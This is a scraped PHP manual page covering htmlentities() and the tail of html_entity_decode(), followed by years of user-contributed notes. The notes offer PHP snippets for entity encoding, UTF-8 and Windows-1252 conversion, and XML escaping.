</body></html>

I really dont know the reason for this (since according to UTF-8 specs the function should have worked) but I did a modified version of the function to address this. Hope it helps.

function replace_num_entity($ord)
   {
       $ord = $ord[1];
       if (preg_match('/^x([0-9a-f]+)$/i', $ord, $match))
       {
           $ord = hexdec($match[1]);
       }
       else
       {
           $ord = intval($ord);
       }

       $no_bytes = 0;
       $byte = array();

       if($ord == 128) {
           return chr(226).chr(130).chr(172);
       } elseif($ord == 129) {
           return chr(239).chr(191).chr(189);
       } elseif($ord == 130) {
           return chr(226).chr(128).chr(154);
       } elseif($ord == 131) {
           return chr(198).chr(146);
       } elseif($ord == 132) {
           return chr(226).chr(128).chr(158);
       } elseif($ord == 133) {
           return chr(226).chr(128).chr(166);
       } elseif($ord == 134) {
           return chr(226).chr(128).chr(160);
       } elseif($ord == 135) {
           return chr(226).chr(128).chr(161);
       } elseif($ord == 136) {
           return chr(203).chr(134);
       } elseif($ord == 137) {
           return chr(226).chr(128).chr(176);
       } elseif($ord == 138) {
           return chr(197).chr(160);
       } elseif($ord == 139) {
           return chr(226).chr(128).chr(185);
       } elseif($ord == 140) {
           return chr(197).chr(146);
       } elseif($ord == 141) {
           return chr(239).chr(191).chr(189);
       } elseif($ord == 142) {
           return chr(197).chr(189);
       } elseif($ord == 143) {
           return chr(239).chr(191).chr(189);
       } elseif($ord == 144) {
           return chr(239).chr(191).chr(189);
       } elseif($ord == 145) {
           return chr(226).chr(128).chr(152);
       } elseif($ord == 146) {
           return chr(226).chr(128).chr(153);
       } elseif($ord == 147) {
           return chr(226).chr(128).chr(156);
       } elseif($ord == 148) {
           return chr(226).chr(128).chr(157);
       } elseif($ord == 149) {
           return chr(226).chr(128).chr(162);
       } elseif($ord == 150) {
           return chr(226).chr(128).chr(147);
       } elseif($ord == 151) {
           return chr(226).chr(128).chr(148);
       } elseif($ord == 152) {
           return chr(203).chr(156);
       } elseif($ord == 153) {
           return chr(226).chr(132).chr(162);
       } elseif($ord == 154) {
           return chr(197).chr(161);
       } elseif($ord == 155) {
           return chr(226).chr(128).chr(186);
       } elseif($ord == 156) {
           return chr(197).chr(147);
       } elseif($ord == 157) {
           return chr(239).chr(191).chr(189);
       } elseif($ord == 158) {
           return chr(197).chr(190);
       } elseif($ord == 159) {
           return chr(197).chr(184);
       } elseif($ord == 160) {
           return chr(194).chr(160);
       }

       if ($ord < 128)
       {
           return chr($ord);
       }
       elseif ($ord < 2048)
       {
           $no_bytes = 2;
       }
       elseif ($ord < 65536)
       {
           $no_bytes = 3;
       }
       elseif ($ord < 1114112)
       {
           $no_bytes = 4;
       }
       else
       {
           return;
       }

       switch($no_bytes)
       {
           case 2:
           {
               $prefix = array(31, 192);
               break;
           }
           case 3:
           {
               $prefix = array(15, 224);
               break;
           }
           case 4:
           {
               $prefix = array(7, 240);
           }
       }

       for ($i = 0; $i < $no_bytes; $i++)
       {
           $byte[$no_bytes - $i - 1] = (($ord & (63 * pow(2, 6 * $i))) / pow(2, 6 * $i)) & 63 | 128;
       }

       $byte[0] = ($byte[0] & $prefix[0]) | $prefix[1];

       $ret = '';
       for ($i = 0; $i < $no_bytes; $i++)
       {
           $ret .= chr($byte[$i]);
       }

       return $ret;
   }
florianborn (at) yahoo (dot) de
20-Jul-2005 06:43
Note that

<?php

 echo urlencode(html_entity_decode("&nbsp;"));

?>

will output "%A0" instead of "+".
gaui at gaui dot is
05-Jul-2005 08:15
if( !function_exists( 'html_entity_decode' ) )
{
   function html_entity_decode( $given_html, $quote_style = ENT_QUOTES ) {
       $trans_table = array_flip(get_html_translation_table( HTML_SPECIALCHARS, $quote_style ));
       $trans_table['&#39;'] = "'";
       return ( strtr( $given_html, $trans_table ) );
       }
}
marius (at) hot (dot) ee
08-Apr-2005 09:40
To convert html entities into unicode characters, use the following:

       $trans_tbl = get_html_translation_table(HTML_ENTITIES);
       foreach($trans_tbl as $k => $v)
       {
           $ttr[$v] = utf8_encode($k);
       }

       $text = strtr($text, $ttr);
php dot net at c dash ovidiu dot tk
18-Mar-2005 04:37
Quick & dirty code that translates numeric entities to UTF-8.

<?php

   function replace_num_entity($ord)
   {
       $ord = $ord[1];
       if (preg_match('/^x([0-9a-f]+)$/i', $ord, $match))
       {
           $ord = hexdec($match[1]);
       }
       else
       {
           $ord = intval($ord);
       }

       $no_bytes = 0;
       $byte = array();

       if ($ord < 128)
       {
           return chr($ord);
       }
       elseif ($ord < 2048)
       {
           $no_bytes = 2;
       }
       elseif ($ord < 65536)
       {
           $no_bytes = 3;
       }
       elseif ($ord < 1114112)
       {
           $no_bytes = 4;
       }
       else
       {
           return;
       }

       switch($no_bytes)
       {
           case 2:
           {
               $prefix = array(31, 192);
               break;
           }
           case 3:
           {
               $prefix = array(15, 224);
               break;
           }
           case 4:
           {
               $prefix = array(7, 240);
           }
       }

       for ($i = 0; $i < $no_bytes; $i++)
       {
           $byte[$no_bytes - $i - 1] = (($ord & (63 * pow(2, 6 * $i))) / pow(2, 6 * $i)) & 63 | 128;
       }

       $byte[0] = ($byte[0] & $prefix[0]) | $prefix[1];

       $ret = '';
       for ($i = 0; $i < $no_bytes; $i++)
       {
           $ret .= chr($byte[$i]);
       }

       return $ret;
   }

   $test = 'This is a &#269;&#x5d0; test&#39;';

   echo $test . "<br />\n";
   echo preg_replace_callback('/&#([0-9a-fx]+);/mi', 'replace_num_entity', $test);

?>
Silvan
29-Jan-2005 11:33
Passing NULL or FALSE as a string will generate a '500 Internal Server Error' (or break the script when inside a function).

So always test your string first before passing it to html_entity_decode().
daniel at brightbyte dot de
14-Nov-2004 10:12
This function seems to have to have two limitations (at least in PHP 4.3.8):

a) it does not work with multibyte character codings, such as UTF-8
b) it does not decode numeric entity references

a) can be solved by using iconv to convert to ISO-8859-1, then decoding the entities, than convert to UTF-8 again. But that's quite ugly and detroys all characters not present in Latin-1.

b) can be solved rather nicely using the following code:

<?php
function decode_entities($text) {
   $text= html_entity_decode($text,ENT_QUOTES,"ISO-8859-1"); #NOTE: UTF-8 does not work!
   $text= preg_replace('/&#(\d+);/me',"chr(\\1)",$text); #decimal notation
   $text= preg_replace('/&#x([a-f0-9]+);/mei',"chr(0x\\1)",$text);  #hex notation
   return $text;
}
?>

HTH
aidan at php dot net
14-Sep-2004 03:57
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
hebrevc | 上一级 | htmlentities


htmlentities

(PHP 3, PHP 4, PHP 5)

htmlentities -- Convert all applicable characters to HTML entities

Description

string htmlentities ( string string [, int quote_style [, string charset]] )

This function is identical to htmlspecialchars() in all ways, except with htmlentities(), all characters which have HTML character entity equivalents are translated into these entities.

Like htmlspecialchars(), the optional second quote_style parameter lets you define what will be done with 'single' and "double" quotes. It takes on one of three constants with the default being ENT_COMPAT:

表格 1. Available quote_style constants

Constant Name | Description
ENT_COMPAT | Will convert double-quotes and leave single-quotes alone.
ENT_QUOTES | Will convert both double and single quotes.
ENT_NOQUOTES | Will leave both double and single quotes unconverted.

Support for the optional quote parameter was added in PHP 4.0.3.

Like htmlspecialchars(), it takes an optional third argument charset which defines character set used in conversion. Support for this argument was added in PHP 4.1.0. Presently, the ISO-8859-1 character set is used as the default.

PHP 4.3.0 及其后续版本支持如下字符集。

表格 2. 已支持字符集

字符集 | 别名 | 描述
ISO-8859-1 | ISO8859-1 | 西欧，Latin-1
ISO-8859-15 | ISO8859-15 | 西欧，Latin-9。增加了 Latin-1（ISO-8859-1）中缺少的欧元符号、法国及芬兰字母。
UTF-8 |  | ASCII 兼容多字节 8-bit Unicode。
cp866 | ibm866, 866 | DOS-特有的 Cyrillic 字母字符集。PHP 4.3.2 开始支持该字符集。
cp1251 | Windows-1251, win-1251, 1251 | Windows-特有的 Cyrillic 字母字符集。PHP 4.3.2 开始支持该字符集。
cp1252 | Windows-1252, 1252 | Windows 对于西欧特有的字符集。
KOI8-R | koi8-ru, koi8r | 俄文。PHP 4.3.2 开始支持该字符集。
BIG5 | 950 | 繁体中文，主要用于中国台湾。
GB2312 | 936 | 简体中文，国际标准字符集。
BIG5-HKSCS |  | 繁体中文，Big5 的延伸，主要用于香港。
Shift_JIS | SJIS, 932 | 日文。
EUC-JP | EUCJP | 日文。

注: ISO-8859-1 将代替任何其它无法识别的字符集。

If you're wanting to decode instead (the reverse) you can use html_entity_decode().

例子 1. A htmlentities() example

<?php
$str = "A 'quote' is <b>bold</b>";

// Outputs: A 'quote' is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str);

// Outputs: A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str, ENT_QUOTES);
?>

See also html_entity_decode(),
get_html_translation_table(),
htmlspecialchars(), nl2br(),
and urlencode().

add a note add a note User Contributed Notes
soapergem at gmail dot com
11-May-2006 02:14
A quick revision to my last comment. For some reason, leaving the control characters in the safe range seemed to screw things up. So instead, using this function will do what everybody else here is trying to do, but it will do so in a single line:

<?php
$text = preg_replace('/[^\x09\x0A\x0D\x20-\x7F]/e', '"&#".ord($0).";"', $text);
?>
cameron at prolifique dot com
11-May-2006 02:01
I've been asked why I assembled such intricate functions to convert to entities when I could use a very simple solution (like the one offered by soapergem below). The biggest reason is that the PHP htmlentities function and most of the other solutions listed below go haywire on multi-byte strings.

In addition, the entire range of numbered entities from &#129; through &#159; are invalid characters, and should not be used (as noted by mail at britlinks dot com below). Most htmlentity functions also do not convert ampersands or pointy brackets (<>) to entities. The ones that do often reconvert existing entities (&amp; becomes &amp;amp;).
cameron at prolifique dot com
06-May-2006 08:02
I've been dissatisfied with all the solutions I've yet seen for converting text into html entities, which all seem to have some drawback or another. So I wrote my own, borrowing heavily from other code posted on this site.

http://www.prolifique.com/entities.php.txt

makeSafeEntities() should take any text, convert it from the specified charset into UTF-8, then replace all inappropriate characters with appropriate (and legal) character entities, returning generic ISO-8859 HTML text. Should NOT reconvert any entities already in the text.

makeAllEntities() does the same, but converts the entire string to entities. Useful for obscuring email addresses (in a lame but nonetheless somewhat effective way).

Suggestions for improvement welcome!
soapergem at gmail dot com
30-Apr-2006 02:53
Here's another version of that "allhtmlentities" function that an anonymous user posted in the last comment, only this one would be significantly more efficient. Again, this would convert anything that has an ASCII value higher than 127.

<?php
function allhtmlentities($string)
{
   return preg_replace('/[^\x00-\x7F]/e', '"&#".ord("$0").";"', $string);
}
?>
anonymous
27-Apr-2006 03:38
This function will encode anything that is non Standard ASCII (that is, that is above #127 in the ascii table)

// allhtmlentities : mainly based on "chars_encode()"  by Tim Burgan <timburgan@gmail.com> [http://www.php.net/htmlentities]
function allhtmlentities($string) {
   if ( strlen($string) == 0 )
       return $string;
   $result = '';
   $string = htmlentities($string, HTML_ENTITIES);
   $string = preg_split("//", $string, -1, PREG_SPLIT_NO_EMPTY);
   $ord = 0;
   for ( $i = 0; $i < count($string); $i++ ) {
       $ord = ord($string[$i]);
       if ( $ord > 127 ) {
           $string[$i] = '&#' . $ord . ';';
       }
   }
   return implode('',$string);
}
eion at bigfoot dot com
21-Feb-2006 08:54
many people below talk about using
<?php
   mb_convert_encode($s,'HTML-ENTITIES','UTF-8');
?>
to convert non-ascii code into html-readable stuff.  Due to my webserver being out of my control, I was unable to set the database character set, and whenever PHP made a copy of my $s variable that it had pulled out of the database, it would convert it to nasty latin1 automatically and not leave it in it's beautiful UTF-8 glory.

So [insert korean characters here] turned into ?????.

I found myself needing to pass by reference (which of course is deprecated/nonexistent in recent versions of PHP)
so instead of
<?php
   mb_convert_encode(&$s,'HTML-ENTITIES','UTF-8');
?>
which worked perfectly until I upgraded, so I had to use
<?php
   call_user_func_array('mb_convert_encoding', array(&$s,'HTML-ENTITIES','UTF-8'));
?>

Hope it helps someone else out
timburgan at gmail dot com
02-Feb-2006 10:39
chars_encode() will, by default, convert ALL non-alpha-numeric and non-space characters in a string to it's ASCII HTML character code (i.e. + to &#43;).

chars_decode() will decode a string encoded by chars_encode().

<?php

/**
 * Encode each char in a string to its HTML ASCII code.
 * Characters encoded by this function can be decoded
 * by chars_decode().
 *
 * This function will work with PHP >= 3.0.9, 4, 5.
 *
 * @author    Tim Burgan <timburgan@gmail.com>
 * @version    1.0.0
 * @link      http://timburgan.com/
 * @link      http://php.net/manual/function.htmlentities.php
 * @param      string  $string    String to encode
 * @param      bool    $encodeAll Optional. Default is false. If true all chars are encoded, if false, only non-alpha-numeric and non-space chars are encoded.
 * @return    string  Returns a string of encoded chars
 */
function chars_encode($string, $encodeAll = false)
{
   // declare variables
   $chars = array();
   $ent = null;

   // split string into array
   $chars = preg_split("//", $string, -1, PREG_SPLIT_NO_EMPTY);

   // encode each character
   for ( $i = 0; $i < count($chars); $i++ )
   {
     if ( preg_match("/^(\w| )$/",$chars[$i]) && $encodeAll == false )
         $ent[$i] = $chars[$i];
     else
         $ent[$i] = "&#" . ord($chars[$i]) . ";";
   }

   if ( sizeof($ent) < 1)
     return "";

   return implode("",$ent);
}

/**
 * Decode each char in a string from its HTML ASCII code.
 * Characters denoded by this function were encoded
 * by chars_encode().
 *
 * This function will work with PHP >= 3.0.9, 4, 5.
 *
 * @author      Tim Burgan <timburgan@gmail.com>
 * @version    1.0.0
 * @link        http://timburgan.com/
 * @link        http://php.net/manual/function.html-entity-decode.php
 * @param      string  $string    String to decode
 * @return      string  Returns a string of decoded chars
 */
function chars_decode($string)
{
   // declare variables
   $tok = 0;
   $cur = 0;
   $chars = null;

   // move through the string until the end is reached
   while ( $cur < strlen($string) )
   {
     // find the next token
     $tok = strpos($string, "&#", $cur);

     // if no more tokens exist, move pointer to end of string
     if ( $tok === false )
         $tok = strlen($string);

     // if the current char is alpha-numeric or a space
     if ( preg_match("/^(\w| )$/",substr($string, $cur, 1)) )
     {
         $chars .= substr($string, $cur, $tok - $cur);
     }
     // the current char must be the start of a token
     else
     {
         $cur += 2;
         $tok = strpos($string, ';', $cur);
         $chars .= chr(substr($string, $cur, $tok - $cur));
         $tok++;
     }

     // move the current pointer to the next token
     $cur = $tok;
   }

   return $chars;
}

/* Example usage
***********************************************/

$string = '<a href="http://timburgan.com" rel="external" title="Go to timburgan.com">Tim Burgan</a>';

$encoded = chars_encode($string);
$decoded = chars_decode($encoded);

echo <<<HEREDOCS

<h4>Original String Output</h4>
{$string}

<hr/>

<h4>Encoded String Output</h4>
{$encoded}

<hr/>

<h4>Decoded String Output</h4>
{$decoded}

HEREDOCS;

?>
Bartek
01-Feb-2006 06:06
I use this function to convert imput from MS Word into html  (ascii) compatible output. I hope it would work also for you.

I have enabled magic_quotes on my server so maybe you won't need stripslashes and addslashes.
I've also noticed that Opera 8.51 browses behaves somehow different from IE 6 and Firefox 1.5. I haven't check this functions with other browsers.

<?php
function convert_word_to_ascii($string)
{
   $string = stripslashes($string);

   if ( stristr($_SERVER['HTTP_USER_AGENT'], "Opera") )
   $search = array('&#8216;',
               chr(96),
               '&#8217;',
               '&#8222;',
               '&#8221;',
               '&#8220;',
               '&#8230;',
               '&#8211;');

   if ( stristr($_SERVER['HTTP_USER_AGENT'], "Firefox") || stristr($_SERVER['HTTP_USER_AGENT'], "MSIE") )
   $search = array(chr(145),
               chr(146),
               chr(96),
               chr(132),
               chr(147),
               chr(148),
               chr(133),
               chr(150));

   $replace = array(    "'",
               "'",
               "'",
               '"',
               '"',
               '"',
               '...',
               '-');

   $new_string = str_replace($search, $replace, $string);
   return addslashes($new_string);
};
?>
24-Jan-2006 09:20
Please, don't use htmlentities to avoid XSS! Htmlspecialchars is enough!

If you don't specify the encoding, Latin1 will be used, so there is a problem if someone wants to use your software in a non-English environment.
mailing at jcn50 dot com
21-Jan-2006 02:25
Convert any language (Japanese, French, Chinese, Russian, etc...) to unicode HTML entities like &#XXXX;
In one line!

$new=mb_convert_encoding($s,"HTML-ENTITIES","auto");

where $s is your string (may be a FORM submitted one).

Enjoy~
edo at edwaa dot com
18-Nov-2005 12:48
A version of the xml entities function below. This one replaces the "prime" character () with which I had difficulties.

// XML Entity Mandatory Escape Characters
function xmlentities($string) {
   return str_replace ( array ( '&', '"', "'", '<', '>', '' ), array ( '&amp;' , '&quot;', '&apos;' , '&lt;' , '&gt;', '&apos;' ), $string );
}
info at bleed dot ws
15-Oct-2005 01:42
here the centralized version of htmlentities() for multibyte.

<?php
function mb_htmlentities($string)
{
   $string = htmlentities($string, ENT_COMPAT, mb_internal_encoding());
   return $string;
}

?>
fanfatal at fanfatal dot pl
28-Aug-2005 05:28
I wrote usefull function which is support iso-8859-2 encoding with htmlentities function ;]

<?php
/*
 *    Function htmlentities which support iso-8859-2
 *
 *    @param string
 *    @return string
 *    @author FanFataL
 */
function htmlentities_iso88592($string='') {
   $pl_iso = array('&ecirc;', '&oacute;', '&plusmn;', '&para;', '&sup3;', '&iquest;', '&frac14;', '&aelig;', '&ntilde;', '&Ecirc;', '&Oacute;', '&iexcl;', '&brvbar;', '&pound;', '&not;', '&macr;', '&AElig;', '&Ntilde;');
   $entitles = get_html_translation_table(HTML_ENTITIES);
   $entitles = array_diff($entitles, $pl_iso);
   return strtr($string, $entitles);
}
?>

Greatings ;-)
...
webmaster at swirldrop dot com
27-Jul-2005 02:45
To replace any characters in a string that could be 'dangerous' to put in an HTML/XML file with their numeric entities (e.g. &#233 for  [e acute]), you can use the following function:

function htmlnumericentities($str){
  return preg_replace('/[^!-%\x27-;=?-~ ]/e', '"&#".ord("$0").chr(59)', $str);
};//EoFn htmlnumericentities

To change any normal entities (e.g. &euro;) to numerical entities call:
$str = htmlnumericalentities(html_entity_decode($str));
rbotzer at yahoo dot com
20-Jul-2005 05:10
The existance of html entities such as &quot; inside an xml node causes most xml parsers to throw an error.  The following function cleans an input string by converting html entities to valid unicode entities.

<?php

function htmlentities2unicodeentities ($input) {
  $htmlEntities = array_values (get_html_translation_table (HTML_ENTITIES, ENT_QUOTES));
  $entitiesDecoded = array_keys  (get_html_translation_table (HTML_ENTITIES, ENT_QUOTES));
  $num = count ($entitiesDecoded);
  for ($u = 0; $u < $num; $u++) {
   $utf8Entities[$u] = '&#'.ord($entitiesDecoded[$u]).';';
  }
  return str_replace ($htmlEntities, $utf8Entities, $input);
}
?>

So, an input of
Copyrights &copy; make &quot;me&quot; grin &reg;

outputs
Copyrights &#169; make &#34;me&#34; grin &#174;
send at mail dot 2aj dot net
15-Jul-2005 01:03
If you are programming XML documents and are using the htmlentities function, then performing a  str_replace on ' into &apos; to set mandatory escape characters you can use this simple function instead.

This function, xmlentities, is basically the XML parsing equivalent of htmlentities, with fewer options than its HTML counterpart:

<?php
// XML Entity Mandatory Escape Characters
function xmlentities ( $string )
{
   return str_replace ( array ( '&', '"', "'", '<', '>' ), array ( '&amp;' , '&quot;', '&apos;' , '&lt;' , '&gt;' ), $string );
}
?>

Example:

<?php
function xmlentities($string)
{
   return str_replace ( array ( '&', '"', "'", '<', '>' ), array ( '&amp;' , '&quot;', '&apos;' , '&lt;' , '&gt;' ), $string );
}

echo xmlentities("If you don't use these mandatory escape characters <tags> between </tags>, XML will \"eXtensively\" & \"implicitly\" give you errors.");
?>

Produces...
If you don&apos;t use these mandatory escape characters &lt;tags&gt; between &lt;/tags&gt;, XML will &quot;eXtensively&quot; &amp; &quot;implicitly&quot; give you errors.
penfield888 at yahoo dot com
02-Feb-2005 01:40
This is a followup to the older note by mirrorball_girl (5 Jan 2003) for those who may follow.

Rather than making an exception for the en-dash (#150) and translating it to a hyphen, you could use the &#8211; unicode en-dash entity (assuming that you are serving up your pages as UTF-8 or some such encoding.

Also, the whole thing can be done better with mb_detect_order, mb_detect_encoding and mb_convert_encoding if all you want to do is serve up a web page (if you need to convert to pure ASCII, that's another issue). You need to have multi-byte support enabled on your PHP server.

Basically, the problem is with older MS programs that use Windows-1252 for their encoding, so all you really need to do is
- detect for Win-1252
- if present, convert to UTF-8
- serve up your pages as UTF-8

See the manual on Multibyte String Functions for more information.
root at joe-linux.NOSPAM.org
27-Jan-2005 06:48
It may come to you as a surprise, but i've noticed that in Firefox (as of 1.0), the text presented in "View selection source" is not the same as "View page source"; Il you want to see the REAL result of htmlentities() you should look at the entire source;

almost become mad before i discover this :)
marques at displague dot com
25-Jan-2005 02:01
htmlEncodeText (below) needs a small tweak, the dash needs to be made literal to get picked up in cases like '<a href="blah-blah.php">'.  I have been using this function to parse my postgresql database calls since I have alot of unicode data and I don't want HTML data to be neutered (via htmlentities()).

<?php
function htmlEncodeText ($string)
{
  $pattern = '<([a-zA-Z0-9\.\, "\'_\/\-\+~=;:\(\)?&#%![\]@]+)>';
  preg_match_all ('/' . $pattern . '/', $string, $tagMatches, PREG_SET_ORDER);
  $textMatches = preg_split ('/' . $pattern . '/', $string);

  foreach ($textMatches as $key => $value) {
   $textMatches [$key] = htmlentities ($value);
  }

  for ($i = 0; $i < count ($textMatches); $i ++) {
   $textMatches [$i] = $textMatches [$i] . $tagMatches [$i] [0];
  }

  return implode ($textMatches);
}
?>

--Editor note: Combined some corrections to the regex pattern, thanks to fabian dot lange at web dot de, hammertscrew at veryweb dot com, webmaster AT scholesmafia DOT co DOT uk, thomas AT cosifan DOT de and marques at displague dot com---
dumb at coder dot com
17-Jan-2005 08:22
/*
15Jan05

Within <textarea>, Browsers auto render & display certain "HTML Entities" and "HTML Entity Codes" as characters:
&lt; shows as <    --    &amp; shows as &    --    etc.

Browsers also auto change any "HTML Entity Codes" entered in a <textarea> into the resultant display characters BEFORE UPLOADING.  There's no way to change this, making it difficult to edit html in a <textarea>

"HTML Entity Codes" (ie, use of &#60 to represent "<", &#38 to represent "&" &#160 to represent "&nbsp;") can be used instead.  Therefore, we need to "HTML-Entitize" the data for display, which changes the raw/displayed characters into their HTML Entity Code equivalents before being shown in a <textarea>.

how would I get a textarea to contain "&lt;" as a literal string of characters and not have it display a "<"
&amp;lt; is indeed the correct way of doing that. And if you wanted to display that, you'd need to use &amp;amp;lt;'. That's just how HTML entities work.

htmlspecialchars() is a subset of htmlentities()
the reverse (ie, changing html entity codes into displayed characters, is done w/ html_entity_decode()

google on ns_quotehtml and see http://aolserver.com/docs/tcl/ns_quotehtml.html
see also http://www.htmlhelp.com/reference/html40/entities/
*/
Duane
09-Jan-2005 09:34
I found using:

preg_replace("/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,5};)/",
"&#38;",strtr($string, $trans));

didn't trap hex values (such as &#x7684;), so instead I ended
up using:

preg_replace("/&(?![A-Za-z]{0,4}\w{2,3};|#[x0-9a-f]{2,6};)/",
"&#38;", strtr($string, $trans));
olito24 at gmx dot de
13-Dec-2004 08:17
a function to encode everything but html tags. pattern improvement is much appreciated!

function htmlEncodeText ($string)
{
  $pattern = '<([a-zA-Z0-9\. "\'_\/-=;\(\)?&#%]+)>';
  preg_match_all ('/' . $pattern . '/', $string, $tagMatches, PREG_SET_ORDER);
  $textMatches = preg_split ('/' . $pattern . '/', $string);

  foreach ($textMatches as $key => $value) {
   $textMatches [$key] = htmlentities ($value);
  }

  for ($i = 0; $i < count ($textMatches); $i ++) {
   $textMatches [$i] = $textMatches [$i] . $tagMatches [$i] [0];
  }

  return implode ($textMatches);
}
duke at redump dot de
01-Nov-2004 10:44
The function xmlentities works great, but there can be up to 5 numbers after the &# string. See this for example:

&#12505;&#12540;&#12473;&#12508;&#12540;
&#12523;&#12473;&#12479;&#12540;&#12474;2

This is a valid (wrapped) japanese string. To successfully use it with xmlentities, you need to replace

return preg_replace("/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,3};)/","&#38;" , strtr($string, $trans));

with

return preg_replace("/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,5};)/","&#38;" , strtr($string, $trans));

(3 to 5).

Duke
tmp1000 at fastmail dot deleteme dot fm
23-Oct-2004 01:07
Regarding the two great function posted by pinkpather and webwurst;  one to encode xml entities, the other to encode only the entities of a string not already encoded.  I've combined these two.  And IMHO made a small improvement by making the translation table static:

<?php
function xmlentities($string, $quote_style=ENT_QUOTES)
{
   static $trans;
   if (!isset($trans)) {
       $trans = get_html_translation_table(HTML_ENTITIES, $quote_style);
       foreach ($trans as $key => $value)
           $trans[$key] = '&#'.ord($key).';';
       // dont translate the '&' in case it is part of &xxx;
       $trans[chr(38)] = '&';
   }
   // after the initial translation, _do_ map standalone '&' into '&#38;'
   return preg_replace("/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,3};)/","&#38;" , strtr($string, $trans));
}
?>

Here's the snippet of code I'm testing with:

<?php
echo "<p>Testing xmlentities...</p>";
$strings[] = "No entities here.";
$strings[] = "<b>bold</b>";
$strings[] = "Got style? Try K & R.";
echo "<ul>";
foreach ($strings as $string) {
   echo "<li>Original string: ".htmlentities($string)."</li>\n";
   echo "<li>Encoded once: ".htmlentities(xmlentities($string))."</li>\n";
   echo "<li>Encoded twice: ".htmlentities(xmlentities(xmlentities($string)))."</li>\n";

}
echo "</ul>";

?>
Miguel (miguel at sigmanet dot com dot br)
20-Oct-2004 11:43
This is a simple script that I'm using to encode and decode values from a form. Save it with the name that you wish.

<?php

/*  When you call anyone of the two functions, set the $_str
     variable to the string that you want to encode or decode */

/* This function encodes the string.
   You can safetly use this function to save its result in a
   database. It eliminates any space in the beginning ou end
   of the string, HTML and PHP tags, and encode any special
   char to the usual HTML entities (&[...];), eliminating the
   possibility of bugs in inserting data on a table */
function encodeText($_str) {
  $_str = strip_tags($_str);
  $_str = trim($_str);
  $_str = htmlentities($_str);
  $_str = str_replace("\r\n", "#BR#", $_str);
  return($_str);
}

/* This function decodes the string.
   If you are showing the string in the body of a page, you
   can set the $_form variable to "false", and the function will
   use the "BR" tag to the new lines. But, if you need to show
   the string in a textarea, text or other input types of a form
   set the $_form variable to "true", then the function will use
   the "\r\n" to the new lines */
function decodeText($_str, $_form) {
  $trans_tbl = get_html_translation_table (HTML_ENTITIES);
  $trans_tbl = array_flip ($trans_tbl);
  $_str      = strtr($_str, $trans_tbl);
  if ($_form) {
   $_nl = "\r\n";
  } else {
   $_nl = "<br>";
  }
  $_str      = str_replace("#BR#", "$_nl", $_str);
  return($_str);
}

?>
roland dot swingler at nospam dot transversal dot com
30-Sep-2004 11:39
You don't need these custom conversion functions.

This function will only work for the first 128 ascii characters if no character set is specified.  If you specify the character set in an http header:

<?php
header('Content-type: text/html; charset=utf-8');

htmlentities('string to be encoded', ENT_QUOTES, 'utf-8');
?>

then it will work for all html entities.  It outputs the named rather than the numerical entities, but html_entity_decode() will decode both numerical and textual entities (it will treat &#8364; and &euro; as the same).

BTW, if you are dealing with form submitted data, it is a good idea to add the accept-charset="character set" attribute
to the form as well.
cd at NOSPAM dot deluxe dot cd
20-Sep-2004 12:47
allthough it is much more complex than this, please note that if you're using xhtml the character encoding you specify within your document is "associated" with the encoding used by php.

e.g.:

<?xml version="1.0" encoding="..."?>

may also assess the manner form data is submitted. as it is prepared before sending it does not matter whether it is post or get.

to give you something stoutly have a look at mozilla firefox (0.9.3) where submitting form data...

<?xml version="1.0" encoding="ISO-8859-1"?>

...converts  to %E4

<?xml version="1.0" encoding="UTF-8"?>

...converts  to %C3%A4

or at internet explorer (6.0) where encoding is ignored while submit but default values of an input field let you recognize the same thing.

this may confuse you getting the desired &auml; afterwards.
porge
31-Aug-2004 11:09
Thanks attila at roughdot dot com, however I changed this to :

"/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,4};|#x[0-9a-fA-F]{2,4};)/"

in order to also to match hex-coded entities.
attila at roughdot dot com
05-Aug-2004 01:25
Thx for that function, pinkpanther at swissonline dot ch, though the number of digits after the '#' can be 4, not 3.
I bumped into this when struggeling with the euro sign (&#8364;).

function htmlentities2( $myHTML)
{
   $translation_table = get_html_translation_table( HTML_ENTITIES, ENT_QUOTES);
   $translation_table[chr( 38)] = '&';
   return preg_replace( "/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,4};)/", "&amp;" , strtr( $myHTML, $translation_table));
}
m227 at poczta dot onet dot pl
26-May-2004 06:00
// tested with PHP 4.3.4, Apache 1.29
// function works like original htmlentities
// but preserves Polish characters encoded in CP-1250
// (Windows code page) from false conversion

// m227@poczta.onet.pl, 2004

function htmlentities1250($str)
{
   // four chars does not need any conversion
   // s` (9c), z` (9f), Z` (8f), S` (8c)
   $trans = array(
       "&sup3;"  => "\xb3", //  "l-"
       "&sup1;"  => "\xb9", //  "a,"
       "&ecirc;" => "\xea", //  "e,"
       "&aelig;" => "\xe6", //  "c`"
       "&ntilde;"=> "\xf1", //  "n`"
       "&iquest;"=> "\xbf", //  "z."
       "&yen;"  => "\xa5", //  "A,"
       "&AElig;" => "\xc6", //  "C`"
       "&macr;"  => "\xaf", //  "Z."
       "&Ecirc;" => "\xca", //  "E,"
       "&oacute;"=> "\xf3", //  "o`"
       "&Oacute;"=> "\xd3", //  "O`"
       "&pound;" => "\xa3", //  "L-"
       "&Ntilde;"=> "\xd1"  //  "N`"
   );
   return strtr(htmlentities($str), $trans);
}
mail at britlinks dot com
20-May-2004 12:27
similar to cedric at shift-zone dot be's function, this 'cleans up' text from MS Word, and other non-alphanumeric characters to their valid [X]HTML counterparts

<?php
// strips slashes, and converts special characters to HTML equivalents for string defined in $var
function htmlfriendly($var,$nl2br = false){
   $chars = array(
       128 => '&#8364;',
       130 => '&#8218;',
       131 => '&#402;',
       132 => '&#8222;',
       133 => '&#8230;',
       134 => '&#8224;',
       135 => '&#8225;',
       136 => '&#710;',
       137 => '&#8240;',
       138 => '&#352;',
       139 => '&#8249;',
       140 => '&#338;',
       142 => '&#381;',
       145 => '&#8216;',
       146 => '&#8217;',
       147 => '&#8220;',
       148 => '&#8221;',
       149 => '&#8226;',
       150 => '&#8211;',
       151 => '&#8212;',
       152 => '&#732;',
       153 => '&#8482;',
       154 => '&#353;',
